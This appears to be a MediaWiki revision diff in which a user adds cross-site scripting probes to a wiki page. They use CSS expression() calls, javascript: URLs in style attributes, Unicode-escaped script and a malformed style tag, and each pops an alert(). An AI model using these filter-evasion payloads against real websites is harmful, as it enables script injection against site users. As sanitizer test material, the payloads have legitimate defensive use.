Loveme5454 (talk | contribs) (ed) |
Loveme5454 (talk | contribs) (ed) |
||
Line 2: | Line 2: | ||
<div style="font-family:foo}color=red;">XXX | <div style="font-family:foo}color=red;">XXX | ||
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | ||
<DIV STYLE="width: expression(alert('XSS'));"> | |||
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> | |||
<div><iframe src=x> | <div><iframe src=x> | ||
<// style=x:expression\28javascript:alert(1)\29> | <// style=x:expression\28javascript:alert(1)\29> | ||
<style>*{x:expression(javascript:alert(1))}</style> | <style>*{x:expression(javascript:alert(1))}</style> |
Revision as of 19:19, 25 May 2018
XXX
XXX
<iframe src=x>
<// style=x:expression\28javascript:alert(1)\29> <style>*{x:expression(javascript:alert(1))}</style>